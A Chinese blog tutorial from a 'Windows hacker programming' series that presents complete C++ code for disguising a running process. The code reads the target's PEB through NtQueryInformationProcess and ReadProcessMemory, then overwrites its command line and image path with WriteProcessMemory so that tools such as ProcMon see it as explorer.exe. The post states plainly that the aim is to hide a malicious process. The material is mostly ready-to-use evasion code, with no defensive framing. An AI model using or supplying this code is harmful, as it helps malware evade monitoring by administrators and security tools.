首页 > 系统相关 >Windows黑客编程之进程伪装

Windows黑客编程之进程伪装

时间:2023-02-25 13:13:51浏览次数:57  
标签:WriteProcessMemory Windows 编程 Param 黑客 进程 NULL NtQueryInformationProcess hProces

描述

  • 通过NtQueryInformation函数获取进程信息,并修改peb参数,可以欺骗ProcMon等查看进程信息的工具,将其伪装成一个看起来无害的进程

代码

实现

  • NtQueryInformationProcess获取进程信息
  • ReadProcessMemory获取指向peb参数的指针
  • WriteProcessMemory通过peb参数指针写入伪造的值
#include "stdafx.h"
#include "DisguiseProcess.h"


void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;

	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}

	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
	::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);

	usPathLen = 2 + 2 * ::wcslen(lpwszPath);
	::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}

调用

  • 伪装成explorer进程
#include "stdafx.h"
#include "DisguiseProcess.h"

int _tmain(int argc, _TCHAR* argv[])
{
	if (FALSE == DisguiseProcess(7120, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
	{
		printf("Dsisguise Process Error.\n");
	}
	printf("Dsisguise Process OK.\n");

	system("pause");
	return 0;
}

注意

  • 一定要区分指针指向的是本进程空间还是目标进程空间,如果是指向其它进程,则一律使用ReadProcessMemory和WriteProcessMemory进行数据读写
  • ReadProcessMemory和WriteProcessMemory的两个参数都是指针类型,因此如果需要读写整形变量,实参前需要加上取地址符

结果

  • 恶意进程伪装前,查看ProcMon进程信息
  • 恶意进程伪装后,查看ProcMon进程信息

标签:WriteProcessMemory,Windows,编程,Param,黑客,进程,NULL,NtQueryInformationProcess,hProces
From: https://www.cnblogs.com/z5onk0/p/17154177.html

相关文章

  • “简单的编程方面的喧嚣”是一个谎言
    点击诱饵趋势让我发疯。一些作者承诺容易赚钱。他们说兼职经营企业是一项简单的任务。你是一名程序员,所以你应该能够自动化你的业务,对吧?不要买垃圾。快速致富的计划一直......
  • java——spring boot集成RabbitMQ——windows本地安装和运行
    思维导图  一、什么是消息队列消息指的是两个应用间传递的数据。数据的类型有很多种形式,可能只包含文本字符串,也可能包含嵌入对象。 “消息队列(MessageQueue)......
  • LQB03控制LED编程的操作视频
    1、KEIL软件的使用;工程建立,文件的导入2、头文件的生成和使用,stc15.h;延时函数的生成,以及修改3、编译错误的调试,修改;4、代码的烧录。代码功能;开机关闭外设;循环一下操作:......
  • 【windows】测试获取进程资源占用的API的性能消耗
    背景一次性获取所有进程信息的API:NtQuerySystemInformation分别获取进程的cpu、mem、io的API:GetProcessTimes、GetProcessMemoryInfo、GetProcessIoCounters如果关注......
  • 如何理解面向接口编程与面向实现编程
    以HeadFirst中的一张图为例,说明这个问题:假设我们有一个应用程序加simuduck,用户可以执行simuduck-pxxx,其中xxx是鸭子的类型,然后程序会根据用户的输入生成不同的鸭......
  • Windows黑客编程之Bypass UAC
    描述用管理员权限运行CompMgmtLauncher.exe,由于它是白名单程序,不会被UAC拦截,可以直接以管理员权限运行CompMgmtLauncher的功能是去遍历指定注册表路径下的程序,并启动只......
  • Windows常见问题处理
    默认启动系统选择运行输入msconfig将不用的引导删除重启进入bios/U盘win+X呼出快捷操作面板。按住shift不放,点击关机或注销,再点击重启a.使用设备->选择U盘......
  • Windows黑客编程之提升进程令牌权限
    描述利用AdjustTokenPrivileges提升进程的令牌访问权限代码外层调用#include"stdafx.h"#include"AdjustToken.h"int_tmain(intargc,_TCHAR*argv[]){ if(......
  • 信息安全之windows服务器的基线安全(等保要求)
    windows服务器的基线安全(等保要求参考)下图是需要做基线配置的选项备注:具体都已经贴出来了,按照这个参考可以达标合格,有部分需要人工现场核实确认,这个要根据具体环境进行操......
  • Windows下QT生成的程序默认以管理员身份运行
    只需要在工程文件.pro中添加下面这行:QMAKE_LFLAGS+=/MANIFESTUAC:\"level=\'requireAdministrator\'uiAccess=\'false\'\" 生成的exe就会带上盾牌标志,双击就以管......